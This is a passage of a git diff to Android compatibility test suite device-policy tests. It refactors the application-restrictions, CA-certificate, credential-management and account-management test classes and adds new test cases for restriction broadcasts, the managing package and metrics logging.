+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             assertThrows(OperationCanceledException.class, () ->
@@ -277,7 +278,7 @@
     public void removeAccount_withAccountManagementDisabled_throwsException()
             throws OperationCanceledException, AuthenticatorException, IOException,
             InterruptedException {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             addAccountWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
index 6685e5f..0c054e3 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
@@ -15,12 +15,21 @@
  */
 package android.devicepolicy.cts;
 
+import static android.content.Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED;
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.testng.Assert.assertThrows;
 
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.Parcelable;
+import android.stats.devicepolicy.EventId;
 import android.util.Log;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
@@ -31,8 +40,10 @@
 import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.ApplicationRestrictions;
+import com.android.bedstead.harrier.policies.ApplicationRestrictionsManagingPackage;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.ClassRule;
@@ -45,170 +56,32 @@
 @RunWith(BedsteadJUnit4.class)
 public final class ApplicationRestrictionsTest {
 
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
     private static final String TAG = ApplicationRestrictionsTest.class.getSimpleName();
-
-    private static final String[] TEST_STRINGS = new String[] {
+    private static final String[] TEST_STRINGS = new String[]{
             "<bad/>",
             ">worse!\"£$%^&*()'<",
             "<JSON>\"{ \\\"One\\\": { \\\"OneOne\\\": \\\"11\\\", \\\""
                     + "OneTwo\\\": \\\"12\\\" }, \\\"Two\\\": \\\"2\\\" } <JSON/>\""
     };
-
-    private static final Bundle BUNDLE = createBundle();
-
-    @ClassRule
-    @Rule
-    public static final DeviceState sDeviceState = new DeviceState();
-
     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
 
     private static final TestApp sTestApp = sTestAppProvider.any();
     private static final TestApp sDifferentTestApp = sTestAppProvider.any();
 
-    @Test
-    @Postsubmit(reason = "New test")
-    @PositivePolicyTest(policy = ApplicationRestrictions.class)
-    public void setApplicationRestrictions_applicationRestrictionsAreSet() {
-        Bundle originalApplicationRestrictions =
-                sDeviceState.dpc().devicePolicyManager()
-                        .getApplicationRestrictions(
-                                sDeviceState.dpc().componentName(), sTestApp.packageName());
-
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
-            sDeviceState.dpc().devicePolicyManager()
-                    .setApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
-                            BUNDLE);
-
-            assertEqualToBundle(
-                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
-        } finally {
-            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
-                    sDeviceState.dpc().componentName(),
-                    sTestApp.packageName(), originalApplicationRestrictions);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "New test")
-    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
-    public void getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions() {
-        Bundle originalApplicationRestrictions =
-                sDeviceState.dpc().devicePolicyManager()
-                        .getApplicationRestrictions(
-                                sDeviceState.dpc().componentName(), sTestApp.packageName());
-
-        try {
-            sDeviceState.dpc().devicePolicyManager()
-                    .setApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
-                            BUNDLE);
-
-            assertEqualToBundle(
-                    sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName()));
-        } finally {
-            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
-                    sDeviceState.dpc().componentName(),
-                    sTestApp.packageName(), originalApplicationRestrictions);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "New test")
-    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
-    public void getApplicationRestrictions_differentPackage_throwsException() {
-        Bundle originalApplicationRestrictions =
-                sDeviceState.dpc().devicePolicyManager()
-                        .getApplicationRestrictions(
-                                sDeviceState.dpc().componentName(), sTestApp.packageName());
-
-        try (TestAppInstanceReference differentTestApp = sDifferentTestApp.install()) {
-            sDeviceState.dpc().devicePolicyManager()
-                    .setApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
-                            BUNDLE);
-
-            assertThrows(SecurityException.class,
-                    () -> differentTestApp.userManager().getApplicationRestrictions(
-                            sTestApp.packageName()));
-        } finally {
-            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
-                    sDeviceState.dpc().componentName(),
-                    sTestApp.packageName(), originalApplicationRestrictions);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "New test")
-    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
-    public void getApplicationRestrictions_setForOtherPackage_returnsNull() {
-        Bundle originalApplicationRestrictions =
-                sDeviceState.dpc().devicePolicyManager()
-                        .getApplicationRestrictions(
-                                sDeviceState.dpc().componentName(), sTestApp.packageName());
-
-        try (TestAppInstanceReference differentTestApp = sDifferentTestApp.install()) {
-            sDeviceState.dpc().devicePolicyManager()
-                    .setApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
-                            BUNDLE);
-
-            assertNotEqualToBundle(differentTestApp.userManager().getApplicationRestrictions(
-                            sDifferentTestApp.packageName()));
-        } finally {
-            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
-                    sDeviceState.dpc().componentName(),
-                    sTestApp.packageName(), originalApplicationRestrictions);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "New test")
-    @NegativePolicyTest(policy = ApplicationRestrictions.class)
-    public void setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet() {
-        Bundle originalApplicationRestrictions =
-                sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
-                        sDeviceState.dpc().componentName(), sTestApp.packageName());
-
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
-            sDeviceState.dpc().devicePolicyManager()
-                    .setApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
-                            BUNDLE);
-
-            assertNotEqualToBundle(testApp.userManager().getApplicationRestrictions(
-                    sTestApp.packageName()));
-        } finally {
-            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
-                    sDeviceState.dpc().componentName(),
-                    sTestApp.packageName(), originalApplicationRestrictions);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "New test")
-    @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
-    public void setApplicationRestrictions_cannotSetPolicy_throwsException() {
-        assertThrows(SecurityException.class, () -> {
-            sDeviceState.dpc().devicePolicyManager()
-                    .setApplicationRestrictions(
-                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
-                            BUNDLE);
-        });
-    }
-
-    // Should be consistent with assertBundle0
-    private static Bundle createBundle() {
+    // Should be consistent with assertEqualToBundle
+    private static Bundle createBundle(String id) {
         Bundle result = new Bundle();
         // Tests for 6 allowed types: Integer, Boolean, String, String[], Bundle and Parcelable[]
         // Also test for string escaping handling
         result.putBoolean("boolean_0", false);
         result.putBoolean("boolean_1", true);
-        result.putInt("integer", 0x7fffffff);
+        result.putInt("integer", 0xfffff);
         // If a null is stored, "" will be read back
         result.putString("empty", "");
-        result.putString("string", "text");
+        result.putString("string", id);
         result.putStringArray("string[]", TEST_STRINGS);
 
         // Adding a bundle, which contain 2 nested restrictions - bundle_string and bundle_int
@@ -229,15 +102,298 @@
         return result;
     }
 
-    // Should be consistent with createBundle0
-    private void assertEqualToBundle(Bundle bundle) {
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_applicationRestrictionsAreSet() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_applicationRestrictionsAreSet");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertEqualToBundle("setApplicationRestrictions_applicationRestrictionsAreSet",
+                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            new Bundle());
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertEqualToBundle("setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions",
+                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions");
+
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertEqualToBundle("getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions",
+                    sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_differentPackage_throwsException() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("getApplicationRestrictions_differentPackage_throwsException");
+
+        try (TestAppInstance differentTestApp = sDifferentTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertThrows(SecurityException.class,
+                    () -> differentTestApp.userManager().getApplicationRestrictions(
+                            sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_setForOtherPackage_returnsNull() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("getApplicationRestrictions_setForOtherPackage_returnsNull");
+
+        try (TestAppInstance differentTestApp = sDifferentTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertNotEqualToBundle("getApplicationRestrictions_setForOtherPackage_returnsNull",
+                    differentTestApp.userManager().getApplicationRestrictions(
+                    sDifferentTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @NegativePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertNotEqualToBundle("setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet",
+                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_cannotSetPolicy_throwsException() {
+        Bundle bundle = createBundle("setApplicationRestrictions_cannotSetPolicy_throwsException");
+        assertThrows(SecurityException.class, () -> {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+        });
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_cannotSetPolicy_throwsException() {
+        assertThrows(SecurityException.class, () -> {
+            sDeviceState.dpc().devicePolicyManager()
+                    .getApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName());
+        });
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class, singleTestOnly = true)
+    public void setApplicationRestrictions_nullComponent_throwsException() {
+        Bundle bundle = createBundle("setApplicationRestrictions_nullComponent_throwsException");
+        assertThrows(SecurityException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(null,
+                        sTestApp.packageName(), bundle));
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_restrictionsChangedBroadcastIsReceived() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_restrictionsChangedBroadcastIsReceived");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            testApp.registerReceiver(new IntentFilter(ACTION_APPLICATION_RESTRICTIONS_CHANGED));
+
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertThat(testApp.events().broadcastReceived().whereIntent().action().isEqualTo(
+                    ACTION_APPLICATION_RESTRICTIONS_CHANGED)).eventOccurred();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictionsManagingPackage.class)
+    public void setApplicationRestrictionsManagingPackage_applicationRestrictionsManagingPackageIsSet()
+            throws Exception {
+        final String originalApplicationRestrictionsManagingPackage =
+                sDeviceState.dpc().devicePolicyManager().getApplicationRestrictionsManagingPackage(
+                        sDeviceState.dpc().componentName());
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictionsManagingPackage(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName());
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getApplicationRestrictionsManagingPackage(sDeviceState.dpc().componentName()))
+                    .isEqualTo(sTestApp.packageName());
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictionsManagingPackage(
+                    sDeviceState.dpc().componentName(),
+                    originalApplicationRestrictionsManagingPackage);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictionsManagingPackage.class)
+    public void setApplicationRestrictionsManagingPackage_appNotInstalled_throwsException() {
+        sDifferentTestApp.uninstall();
+
+        assertThrows(PackageManager.NameNotFoundException.class,
+                () -> sDeviceState.dpc().devicePolicyManager()
+                        .setApplicationRestrictionsManagingPackage(
+                                sDeviceState.dpc().componentName(),
+                                sDifferentTestApp.packageName()));
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_logged() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_logged");
+
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
+             TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+                    .whereAdminPackageName().isEqualTo(
+                            sDeviceState.dpc().packageName())
+                    .whereStrings().contains(sTestApp.packageName())
+                    .whereStrings().size().isEqualTo(1))
+                    .wasLogged();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    // Should be consistent with createBundle
+    private void assertEqualToBundle(String id, Bundle bundle) {
         assertWithMessage("bundle0 size")
                 .that(bundle.size()).isEqualTo(8);
         assertBooleanKey(bundle, "boolean_0", false);
         assertBooleanKey(bundle, "boolean_1", true);
-        assertIntKey(bundle, "integer", 0x7fffffff);
+        assertIntKey(bundle, "integer", 0xfffff);
         assertStringKey(bundle, "empty", "");
-        assertStringKey(bundle, "string", "text");
+        assertStringKey(bundle, "string", id);
         assertStringsKey(bundle, "string[]", TEST_STRINGS);
 
         Bundle childBundle = bundle.getBundle("bundle");
@@ -300,9 +456,9 @@
         return value;
     }
 
-    private void assertNotEqualToBundle(Bundle value) {
+    private void assertNotEqualToBundle(String id, Bundle value) {
         // This uses an arbitrary value from the test bundle
         assertWithMessage("Bundle should not be equal to test bundle")
-                .that(value.getInt("integer")).isNotEqualTo(0x7fffffff);
+                .that(value.getString("string")).isNotEqualTo(id);
     }
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
index 429cc63..ada4b40 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
@@ -36,7 +36,6 @@
 import com.android.compatibility.common.util.FakeKeys;
 
 import org.junit.ClassRule;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -54,6 +53,9 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
+// These tests rely on the line "android:networkSecurityConfig="@xml/network_security_config"" in
+// the <application> element in the manifest.
+// TODO(b/205261115): Use a testapp and query for it rather than relying on the Manifest content
 @RunWith(BedsteadJUnit4.class)
 public class CaCertManagementTest {
     @ClassRule
@@ -65,15 +67,14 @@
 
     @Test
     @CanSetPolicyTest(policy = CaCertManagement.class)
-    public void testGetInstalledCaCerts_doesNotReturnNull() throws Exception {
+    public void getInstalledCaCerts_doesNotReturnNull() throws Exception {
         assertThat(sDeviceState.dpc().devicePolicyManager().getInstalledCaCerts(
                 DPC_COMPONENT_NAME)).isNotNull();
     }
 
     @Test
-    @Ignore("b/198641824): Fix failing check X509TrustManager#getTrustedIssuers")
     @PositivePolicyTest(policy = CaCertManagement.class)
-    public void testInstallCaCert_installsCaCert() throws Exception {
+    public void installCaCert_caCertIsInstalled() throws Exception {
         RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
         try {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -82,7 +83,7 @@
                     DPC_COMPONENT_NAME, CA_CERT_1);
 
             assertThat(result).isTrue();
-            assertCaCertInstalled(CA_CERT_1);
+            assertCaCertInstalledForTheDpcAndLocally(CA_CERT_1);
         } finally {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
         }
@@ -90,14 +91,13 @@
 
     @Test
     @PositivePolicyTest(policy = CaCertManagement.class)
-    public void testInstallCaCert_logsEvent() throws Exception {
+    public void installCaCert_logsEvent() throws Exception {
         RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
         try {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
-            try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
 
-                remoteDpm.installCaCert(
-                        DPC_COMPONENT_NAME, CA_CERT_1);
+            try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+                remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
 
                 assertThat(metrics.query()
                         .whereType().isEqualTo(EventId.INSTALL_CA_CERT_VALUE)
@@ -112,7 +112,7 @@
 
     @Test
     @PositivePolicyTest(policy = CaCertManagement.class)
-    public void testUninstallCaCert_uninstallsCaCert() throws Exception {
+    public void uninstallCaCert_caCertIsNotInstalled() throws Exception {
         RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
         try {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -120,7 +120,7 @@
 
             remoteDpm.uninstallCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
 
-            assertCaCertNotInstalled(CA_CERT_1);
+            assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_1);
         } finally {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
         }
@@ -128,8 +128,7 @@
 
     @Test
     @PositivePolicyTest(policy = CaCertManagement.class)
-    @Ignore("b/198641824): Fix failing check X509TrustManager#getTrustedIssuers")
-    public void testUninstallCaCert_onlyUninstallsRequestedCaCert() throws Exception {
+    public void uninstallCaCert_otherCaCertsAreNotUninstalled() throws Exception {
         RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
         try {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -138,8 +137,7 @@
 
             remoteDpm.uninstallCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
 
-            assertCaCertInstalled(CA_CERT_2);
-            assertCaCertNotInstalled(CA_CERT_1);
+            assertCaCertInstalledForTheDpcAndLocally(CA_CERT_2);
         } finally {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
         }
@@ -147,7 +145,7 @@
 
     @Test
     @PositivePolicyTest(policy = CaCertManagement.class)
-    public void testUninstallCaCert_logsEvent() throws Exception {
+    public void uninstallCaCert_logsEvent() throws Exception {
         RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
         try {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -171,7 +169,7 @@
 
     @Test
     @PositivePolicyTest(policy = CaCertManagement.class)
-    public void testUninstallAllUserCaCerts_uninstallsAllCaCerts()
+    public void uninstallAllUserCaCerts_uninstallsAllCaCerts()
             throws Exception {
         RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
         try {
@@ -181,19 +179,19 @@
 
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
 
-            assertCaCertNotInstalled(CA_CERT_1);
-            assertCaCertNotInstalled(CA_CERT_2);
+            assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_1);
+            assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_2);
         } finally {
             remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
         }
     }
 
-    private void assertCaCertInstalled(byte[] caBytes)
+    private void assertCaCertInstalledForTheDpcAndLocally(byte[] caBytes)
             throws GeneralSecurityException {
         assertCaCertInstalledAndTrusted(caBytes, /* installed= */ true);
     }
 
-    private void assertCaCertNotInstalled(byte[] caBytes)
+    private void assertCaCertNotInstalledForTheDpcOrLocally(byte[] caBytes)
             throws GeneralSecurityException {
         assertCaCertInstalledAndTrusted(caBytes, /* installed= */ false);
     }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
index baabdc7..c6f550f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -42,6 +42,7 @@
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.SlowApiTest;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.compatibility.common.util.BlockingCallback;
@@ -66,6 +67,7 @@
 import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.Arrays;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(BedsteadJUnit4.class)
 public class CredentialManagementAppTest {
@@ -74,6 +76,7 @@
     @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
+    private static final int KEYCHAIN_CALLBACK_TIMEOUT_SECONDS = 600;
     private static final PrivateKey PRIVATE_KEY =
             getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
     private static final Certificate CERTIFICATE =
@@ -277,6 +280,8 @@
 
     @Test
     @Postsubmit(reason = "b/181993922 automatically marked flaky")
+    @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+            + "takes a long time to callback")
     public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
         setCredentialManagementApp();
 
@@ -291,7 +296,8 @@
                             /* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
             );
 
-            assertThat(callback.await()).isEqualTo(ALIAS);
+            assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isEqualTo(ALIAS);
         } finally {
             // Remove keypair as credential management app
             sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index 0fcf2dd..42453f3 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -49,7 +49,7 @@
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
